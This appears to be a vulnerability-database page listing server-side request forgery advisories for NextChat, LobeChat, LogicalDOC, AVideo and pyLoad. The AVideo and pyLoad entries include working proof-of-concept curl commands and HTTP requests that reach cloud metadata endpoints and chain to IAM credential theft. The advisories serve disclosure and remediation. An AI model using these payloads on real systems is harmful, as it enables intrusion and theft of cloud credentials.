CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-P35R-JG68-WCCX
Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-04-28 00:31A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7178"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-27T22:16:19Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-p35r-jg68-wccx",
"modified": "2026-04-28T00:31:40Z",
"published": "2026-04-28T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7178"
},
{
"type": "WEB",
"url": "https://github.com/ChatGPTNextWeb/NextChat/issues/6741"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/43252d45d75e8bdd2d45136fd6ffe8a5"
},
{
"type": "WEB",
"url": "https://github.com/ChatGPTNextWeb/NextChat"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/797646"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359780"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359780/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P36R-QXGX-JQ2V
Vulnerability from github – Published: 2024-06-17 22:28 – Updated: 2024-06-17 22:28Summary
If an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.
Details
The attack process is described above.
PoC
Frontend: 1. Pass basic authentication (SSO/Access Code). 2. Set the Base URL to a private attack address. 3. Configure the request method to be a server-side request. 4. At the self-set attack address, retrieve the API Key information from the request headers.
Backend: 1. The LobeChat version allows setting the Base URL. 2. There is no outbound traffic whitelist.
Impact
All community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lobehub/chat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.162.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37895"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-17T22:28:41Z",
"nvd_published_at": "2024-06-17T20:15:13Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nIf an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.\n\n### Details\n\nThe attack process is described above.\n\n\n\n### PoC\n\nFrontend:\n1. Pass basic authentication (SSO/Access Code).\n2. Set the Base URL to a private attack address.\n3. Configure the request method to be a server-side request.\n4. At the self-set attack address, retrieve the API Key information from the request headers.\n\nBackend:\n1. The LobeChat version allows setting the Base URL.\n2. There is no outbound traffic whitelist.\n\n### Impact\n\nAll community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.",
"id": "GHSA-p36r-qxgx-jq2v",
"modified": "2024-06-17T22:28:41Z",
"published": "2024-06-17T22:28:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-p36r-qxgx-jq2v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37895"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobe-chat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lobe Chat API Key Leak"
}
GHSA-P38P-XRW4-9MJ3
Vulnerability from github – Published: 2026-07-13 21:31 – Updated: 2026-07-13 21:31LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.
{
"affected": [],
"aliases": [
"CVE-2025-45869"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T19:16:36Z",
"severity": "HIGH"
},
"details": "LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.",
"id": "GHSA-p38p-xrw4-9mj3",
"modified": "2026-07-13T21:31:24Z",
"published": "2026-07-13T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45869"
},
{
"type": "WEB",
"url": "https://github.com/netero1010/Vulnerability-Disclosure/blob/main/CVE-2025-45869/README.md"
},
{
"type": "WEB",
"url": "https://www.logicaldoc.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P3GR-G84W-G8HH
Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49Summary
The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.
Details
The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:
- IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (
/^10\./,/^172\./,/^192\.168\./,/^127\./,/^169\.254\./) - IPv6 checks (lines 4150-4166): Checks for
::1,fe80::/10(link-local), andfc00::/7(unique local)
The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:
// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"
// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
$resolvedIP = gethostbyname($host); // SKIPPED
}
$ip = $host; // $ip = "::ffff:169.254.169.254"
// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH
// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...) // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH
// Line 4168: returns TRUE — bypass complete
return true;
The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
After the bypass, two requests are made to the attacker-controlled URL:
1. get_headers() at line 40 (via stream context)
2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)
PoC
Read AWS instance metadata (IAM credentials):
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
Access localhost services:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
Scan internal network:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
Steal AWS IAM role credentials (full chain):
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
Impact
- Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
- Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
- Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
- No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.
Recommended Fix
Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:
// In isSSRFSafeURL(), replace lines 4099-4166 with:
// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
_error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
return false;
}
This single check replaces all the manual regex patterns and correctly handles:
- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)
- Loopback (127/8, ::1)
- Link-local (169.254/16, fe80::/10)
- Unique local (fc00::/7)
- IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding
- Other reserved ranges (0/8, 100.64/10 CGN, etc.)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33480"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:44:10Z",
"nvd_published_at": "2026-03-23T15:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n $resolvedIP = gethostbyname($host); // SKIPPED\n}\n$ip = $host; // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON\u0027T match (not dotted-decimal)\nif (preg_match(\u0027/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/\u0027, $ip)) // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don\u0027t cover ::ffff: prefix\nif ($ip === \u0027::1\u0027 || ...) // NO MATCH\nif (preg_match(\u0027/^fe[89ab][0-9a-f]:/i\u0027, $ip)) // NO MATCH\nif (preg_match(\u0027/^f[cd][0-9a-f]{2}:/i\u0027, $ip)) // NO MATCH\n\n// Line 4168: returns TRUE \u2014 bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) \u2014 response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/\u0027\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/\u0027\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/\u0027\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u0027)\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP\u0027s built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** \u2014 the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)",
"id": "GHSA-p3gr-g84w-g8hh",
"modified": "2026-03-25T18:49:36Z",
"published": "2026-03-20T20:44:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33480"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy"
}
GHSA-P3PR-8F3M-4QP8
Vulnerability from github – Published: 2026-10-09 17:09 – Updated: 2026-10-09 17:09Summary
pyLoad ships the WindowsPhoneNotify addon, whose send() method opens an HTTP connection to a host taken directly from the plugin's pushurl configuration value. A user holding the standard non-admin SETTINGS permission can set pushurl and pushid and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's http.client.HTTPConnection, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint 169.254.169.254.
Root Cause
pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a PREREQFUNCTION callback calls is_global_address() on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (http.client.HTTPConnection) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.
Affected symbols:
- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.
- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.
Impact
An authenticated user with the non-admin SETTINGS permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (pushurl), the request path (pushid), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.
Proof of Concept
Preconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.
- As a user with the
SETTINGSpermission, POST to/json/save_configwithcategory="plugin"and config valuesWindowsPhoneNotify|pushurl=169.254.169.254,WindowsPhoneNotify|pushid=/latest/meta-data/, andWindowsPhoneNotify|enabled=True. - The write is accepted because
(WindowsPhoneNotify, pushurl)is not in the admin-only option set, and settingenabledto true triggers the addon manager's dynamic activation callback, loading the plugin immediately. - Allow (or cause) any download to finish. The global
download_finishedevent iterates activated addons and invokes the notifier.
POST /json/save_config HTTP/1.1
Host: pyload.target
Cookie: <authenticated session with SETTINGS>
Content-Type: application/x-www-form-urlencoded
category=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D
Observed result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends "POST /latest/meta-data/" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.
Attack Chain
- Exposure: The
/json/save_configweb endpoint is network reachable and gated only bylogin_required("SETTINGS"), a standard non-admin permission bit. - Control: The attacker supplies the notifier
pushurl(host and port),pushid(request path), andenabledflag as config values. - Path:
set_config_valuewrites the plugin options; the addon manager's config-change callback fires onenabledand activates the addon without a restart; a completed download dispatches the globaldownload_finishedevent to activated addons. - Guard: The config-write check consults
ADMIN_ONLY_PLUGIN_OPTIONS, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurlPREREQFUNCTIONSSRF guard andis_global_addressare never invoked on this path. - Primitive:
WindowsPhoneNotify.send()callshttp.client.HTTPConnection(pushurl)and issues a POST topushid. - Result: A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position.
Bypass Evidence
pyLoad's outbound SSRF protection lives entirely in the pycurl request path: is_global_address() is called only from the pycurl PREREQFUNCTION callback, and is_global_host() is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses http.client.HTTPConnection, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and failed: the SETTINGS permission is a non-admin bit that an admin can grant independently of the admin role; the admin-only plugin option set does not contain the notifier fields; the dynamic activation callback fires on enabled and the activation and download-event handlers share a lock so there is no activation race; the notifier key-emptiness, client-connection, and rate-limit checks all pass with attacker-chosen non-empty values and default settings; and the testing plugin status is loadable (only broken is rejected).
Affected Versions
Ecosystem: pipPackage: pyload-ngConfirmed affected range: <= 0.5.0b3.dev101Latest release checked: pyload-ng 0.5.0b3.dev101 (PyPI sdist, sha256 427cfb35bc8e0db104e86a53576b2fdef99127aec178b80f58380a7977130251)Fix status: not fixed in any released version
The vulnerable send() method and the narrow admin-only plugin option set are present in the latest published PyPI artifact, pyload_ng-0.5.0b3.dev101. The project publishes only prerelease builds; there is no final 0.5.0 release, so the upper bound is the latest published prerelease. The introduction point was not bisected, so the range uses an open lower bound; the WindowsPhoneNotify addon carries an internal plugin version of 0.19, indicating a long history. No published version contains a fix.
Suggested Fix
Enforce the same outbound destination policy on every HTTP client pyLoad uses, not only the pycurl path. Before the notifier opens a connection, resolve the configured host and reject non-global or otherwise disallowed destinations using the existing is_global_host / is_global_address logic (including the IPv6 transition-form handling), or route all addon HTTP traffic through a single hardened client that applies the guard. As defense in depth, add the WindowsPhoneNotify host and path options (and any other plugin option that designates a network destination) to the admin-only option set so a non-admin SETTINGS user cannot repoint them. Interim mitigation: restrict the SETTINGS permission to trusted accounts and ensure the pyLoad host cannot reach sensitive internal endpoints such as the cloud metadata service.
Reported by zx (GitHub: @manus-pi).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev101"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T17:09:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\npyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin\u0027s `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python\u0027s `http.client.HTTPConnection`, so it never passes through pyLoad\u0027s pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.\n\n## Root Cause\n\npyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.\n\n```text\nAffected symbols:\n- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.\n- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.\n```\n\n## Impact\n\nAn authenticated user with the non-admin `SETTINGS` permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (`pushurl`), the request path (`pushid`), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.\n\n## Proof of Concept\n\n```text\nPreconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.\n```\n\n1. As a user with the `SETTINGS` permission, POST to `/json/save_config` with `category=\"plugin\"` and config values `WindowsPhoneNotify|pushurl=169.254.169.254`, `WindowsPhoneNotify|pushid=/latest/meta-data/`, and `WindowsPhoneNotify|enabled=True`.\n2. The write is accepted because `(WindowsPhoneNotify, pushurl)` is not in the admin-only option set, and setting `enabled` to true triggers the addon manager\u0027s dynamic activation callback, loading the plugin immediately.\n3. Allow (or cause) any download to finish. The global `download_finished` event iterates activated addons and invokes the notifier.\n\n```text\nPOST /json/save_config HTTP/1.1\nHost: pyload.target\nCookie: \u003cauthenticated session with SETTINGS\u003e\nContent-Type: application/x-www-form-urlencoded\n\ncategory=plugin\u0026config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D\n```\n\n```text\nObserved result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends \"POST /latest/meta-data/\" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.\n```\n\n## Attack Chain\n\n1. **Exposure:** The `/json/save_config` web endpoint is network reachable and gated only by `login_required(\"SETTINGS\")`, a standard non-admin permission bit.\n2. **Control:** The attacker supplies the notifier `pushurl` (host and port), `pushid` (request path), and `enabled` flag as config values.\n3. **Path:** `set_config_value` writes the plugin options; the addon manager\u0027s config-change callback fires on `enabled` and activates the addon without a restart; a completed download dispatches the global `download_finished` event to activated addons.\n4. **Guard:** The config-write check consults `ADMIN_ONLY_PLUGIN_OPTIONS`, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl `PREREQFUNCTION` SSRF guard and `is_global_address` are never invoked on this path.\n5. **Primitive:** `WindowsPhoneNotify.send()` calls `http.client.HTTPConnection(pushurl)` and issues a POST to `pushid`.\n6. **Result:** A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server\u0027s network position.\n\n## Bypass Evidence\n\npyLoad\u0027s outbound SSRF protection lives entirely in the pycurl request path: `is_global_address()` is called only from the pycurl `PREREQFUNCTION` callback, and `is_global_host()` is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses `http.client.HTTPConnection`, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and failed: the `SETTINGS` permission is a non-admin bit that an admin can grant independently of the admin role; the admin-only plugin option set does not contain the notifier fields; the dynamic activation callback fires on `enabled` and the activation and download-event handlers share a lock so there is no activation race; the notifier key-emptiness, client-connection, and rate-limit checks all pass with attacker-chosen non-empty values and default settings; and the `testing` plugin status is loadable (only `broken` is rejected).\n\n## Affected Versions\n\n- `Ecosystem: pip`\n- `Package: pyload-ng`\n- `Confirmed affected range: \u003c= 0.5.0b3.dev101`\n- `Latest release checked: pyload-ng 0.5.0b3.dev101 (PyPI sdist, sha256 427cfb35bc8e0db104e86a53576b2fdef99127aec178b80f58380a7977130251)`\n- `Fix status: not fixed in any released version`\n\nThe vulnerable `send()` method and the narrow admin-only plugin option set are present in the latest published PyPI artifact, `pyload_ng-0.5.0b3.dev101`. The project publishes only prerelease builds; there is no final `0.5.0` release, so the upper bound is the latest published prerelease. The introduction point was not bisected, so the range uses an open lower bound; the WindowsPhoneNotify addon carries an internal plugin version of 0.19, indicating a long history. No published version contains a fix.\n\n## Suggested Fix\n\nEnforce the same outbound destination policy on every HTTP client pyLoad uses, not only the pycurl path. Before the notifier opens a connection, resolve the configured host and reject non-global or otherwise disallowed destinations using the existing `is_global_host` / `is_global_address` logic (including the IPv6 transition-form handling), or route all addon HTTP traffic through a single hardened client that applies the guard. As defense in depth, add the WindowsPhoneNotify host and path options (and any other plugin option that designates a network destination) to the admin-only option set so a non-admin `SETTINGS` user cannot repoint them. Interim mitigation: restrict the `SETTINGS` permission to trusted accounts and ensure the pyLoad host cannot reach sensitive internal endpoints such as the cloud metadata service.\n\nReported by zx (GitHub: @manus-pi).",
"id": "GHSA-p3pr-8f3m-4qp8",
"modified": "2026-10-09T17:09:03Z",
"published": "2026-10-09T17:09:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-p3pr-8f3m-4qp8"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
